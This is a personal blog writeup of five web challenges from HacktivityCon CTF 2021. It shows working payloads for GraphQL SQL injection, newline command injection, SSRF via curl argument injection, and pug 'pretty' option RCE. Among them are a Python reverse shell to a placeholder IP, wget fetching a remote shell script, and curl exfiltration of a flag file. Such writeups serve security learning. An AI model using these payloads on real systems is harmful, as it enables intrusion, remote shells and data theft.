きなこもち。

(´・ω・`)

HactivityCon 2021 CTF Web challenge writeup

I participated in HacktivityCon CTF 2021 that held on September 16, 1:30 PM PST - September 18, 1:30 PM PST.

This is my writeup.(Web challenge only!)

Medium

All Baked Up(SQLi via GraphQL, 114 solves)

Author: @congon4tor#2334 Grandma always knew how to make tried-and-true baked goods, and these recipes prove it!

f:id:kinako_mochimochi:20210919140201p:plain
All Baked Up

Recon

This web app uses GraphQL.

We can extract GQL schema using GraphQL playground.

type Auth {
  token: String
  user: User!
}

type Mutation {
  authenticateUser(username: String!, password: String!): Auth
  createPost(name: String!, image: String, content: String): Post
  createUser(password: String!, username: String!): User
}

type Post {
  author: User
  content: String
  id: Int!
  image: String
  name: String
}

type Query {
  flag: String
  post(name: String!): [Post]
  posts: [Post]
}

type User {
  id: Int!
  password: String
  username: String
}

If we query query { flag }, then GQL returns the error message saying "message": "error authenticating user: invalid token".

And we also noticed that there is congon4tor user, probably he's authenticated user.

Solution

In GQL, we can set some params for query, and sometimes this is vulnerable to SQLi.

If you insert single quote into name param, you can see SQL error.

f:id:kinako_mochimochi:20210919141124p:plain
SQL error

Let's dig into. How about Union-based SQLi?

f:id:kinako_mochimochi:20210919141256p:plain

Bingo!! GQL returns the column numbers error.

After some test, finally we can extract congon4tor password(n8bboB!3%vDwiASVgKhv).

query {
  post(name: "test' union select 1,2,3,username,5,password from users -- -") {
    id
    content
    author {
      username
      password
    }
  }
}

Then, all we should do is to authenticate congon4tor to get his token.

f:id:kinako_mochimochi:20210919141945p:plain
token

Finally, we can query with token and Authorization header and get the flag.

f:id:kinako_mochimochi:20210919142138p:plain
flag

Flag: flag{9d26b6e4a765ecd87fe03a1494c22236}

Integrity(OS command injection, 256 solves)

Author: @JohnHammond#6971 My school was trying to teach people about the CIA triad so they made all these dumb example applications... as if they know anything about information security. Supposedly they learned their lesson and tried to make this one more secure. Can you prove it is still vulnerable?

f:id:kinako_mochimochi:20210919142345p:plain
Integrity

Recon

In previous challenge, we know this is a kind of os command injection chal.

And as the challenge description says, input filter is more strict.

Solution

%0a is not filtered and works correctly, not difficult.

Payload: %0a cat flag.txt

f:id:kinako_mochimochi:20210919142816p:plain
flag

flag: flag{62b8b3cb5b8c6803bf3dc585b1b5141d}

Hard

Availability(Blind OS command injection, 115 solves)

Author: @JohnHammond#6971 My school was trying to teach people about the CIA triad so they made all these dumb example applications... as if they know anything about information security. They said they fixed the bug from the last app, but they also said they knew they went overboard with the filtered characters, so they loosened things up a bit. Can you hack it?

f:id:kinako_mochimochi:20210919143116p:plain
Availability

Recon

The difference between previous chal and Availability is...

  • The input filter on Availability is more loose than Integrity chal
  • We cannot see any result of arbitrary command execution(blind os command injection)

We can confirm that our malicious command is executed using this payload:

127.0.0.1 %0a sleep 10

You can see the response is delayed.

Next, how should we do to read the flag in this situation?

In my experience, there are 2 ways to perform

  1. Send a flag content via curl like curl <http://my-server/?flag=$(cat /flag.txt).

  2. Establish reverse shell connection

As for first one, we can't because of the input filter.

  • $→❌
  • backquote→❌
  • -(hyphen)→❌
  • {}→❌
  • =→❌
  • >→⭕️
  • <→⭕️
  • &, |→❌ ....

Redirection(<>) is allowed in this challenge so we must use to solve.

hyphen is filtered? This means that we cannot use any command options like wget https://myserver/reverseshell.sh -P /tmp/shell.sh.

So we need a solution without any letters above...

Solution

According to this page, sometimes an attacker uses base64-encoded reverse shell.

Base64 does not contain any special signs except for =, but equal sign can be stripped so this is what we need!

I encoded this reverse shell payload:

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<your ip>",<your port>));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/bash")

hint: If your base64-encoded payload has =, then add some # letters in python payload until = doesn't appear.

Then, execute these os commands via Availability app.

echo "your base64-encoded payload" > /tmp/payload.txt
echo "import base64" > /tmp/shell.py
echo "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.py
python3 /tmp/shell.py 

Finally we can establish connection and cat the flag.

f:id:kinako_mochimochi:20210919145810p:plain
flag

memo

  • I used %0a if which python3 %0a then sleep 10 %0a fi to confirm if we can use python3 command or not.
    • If it exists, the response delays
  • curl, wget, nc does not exist from my investigation so I decided to use python3 command.

flag: flag{c11d098dd25a08816027174c14f7bf60}

OPA Secrets(SSRF, 136 solves)

Author: @congon4tor#2334 OPA! Check out our new secret management service

f:id:kinako_mochimochi:20210919150648p:plain
OPA Secrets

Recon

The source code are given. Let's check suspicious points.

On app.py, Idk the reason but a developer uses os.system(...) to send an external request.

    if (
        ";" in url
        or "`" in url
        or "$" in url
        or "(" in url
        or "|" in url
        or "&" in url
        or "<" in url
        or ">" in url
    ):
        return redirect("settings?error=Invalid character")

    cmd = f"curl --request GET {url} --output ./static/images/{user['id']} --proto =http,https"
    status = os.system(cmd)
    if status != 0:
        return redirect("settings?error=Error fetching the image")

    user["picture"] = user_id

    return redirect("settings?success=Successfully updated the profile picture")

And there is also an internal API to change user's role.

    headers = {
        "Content-Type": "application/json",
    }
    payload = f"""{{"user":"{username}","role":"{role}"}}"""
    r = requests.put(
        url=f"http://localhost:8181/v1/data/users/{id}", headers=headers, data=payload
    )

OK, the user congon4tor has admin role and we cannot see his secret but if we modify his role, the end.

Solution

f:id:kinako_mochimochi:20210919152119p:plain
/settings

On /settings endpoint, we can perform SSRF.

url=--request PUT -H 'Content-Type: application/json' -d '{"user":"congon4tor", "role":"user"}' http://localhost:8181/v1/data/users/1822f21a-d720-4494-a31f-943bec140789

Next, go to /getValue endpoint and modify id value in JSON:

{
    "id":"afce78a8-23d6-4f07-81f2-47c96ddb10cf" // congon4tor's flag secret_id
}

f:id:kinako_mochimochi:20210919151123p:plain
flag

flag: flag{589882d62d1c899d8b85db1af2076b39}

Unpugify(CVE, 45 solves)

Author: @congon4tor#2334 So.... I don't even know what to say...

f:id:kinako_mochimochi:20210919152304p:plain
Unpugify

Recon

Obviously, this challenge can be solved by using CVE(pug library CVE). We can convert Pug to HTML and pretty options is also available.

When I googled, I found that in this year RCE vulnerability was discovered and the vulnerable point is pretty option.

PoC is also disclosed→ github.com

I modify that PoC for this challenge.

pretty=');process.mainModule.constructor._load('child_process').exec('whoami');_=('

The problem is, we cannot see the result of RCE as same as previous challenge Availability!! However, there are no input filter so we can perform to set up reverse shell easily.

Solution

  1. Create reverse shell script on target server
pretty=');process.mainModule.constructor._load('child_process').exec('wget https://<my-server>/reverseshell.sh -P /tmp/shell.sh');_=('
  1. Just execute it
pretty=');process.mainModule.constructor._load('child_process').exec('bash /tmp/shell.sh');_=('

f:id:kinako_mochimochi:20210920231901p:plain
flag

flag: flag{2336d11e6d316ff2d6ba7620ac9e46ab}

memo

  • I'm not sure but probably we cannot use & and " in this challenge. I tried to establish connection without putting reverse shell script via wget, but all my attempts were failed.
  • This might be the reason why the number of solvers is less than Availability challenge
  • Idk why but I couldn't use sleep command to check if execution is done or not, so I used if <command>; then curl https://<myserver>/?done; fi instead.
    • I had to check my nginx access_log again and again

Conclusion

I played CTF for the first time in about 4 months and enjoyed so much. thanks hactivityCon CTF organizers.

(I wanna know how to exploit Bumblebee and Spiral CI...)

Final results

f:id:kinako_mochimochi:20210919154132p:plain

f:id:kinako_mochimochi:20210919154146p:plain

f:id:kinako_mochimochi:20210919154154p:plain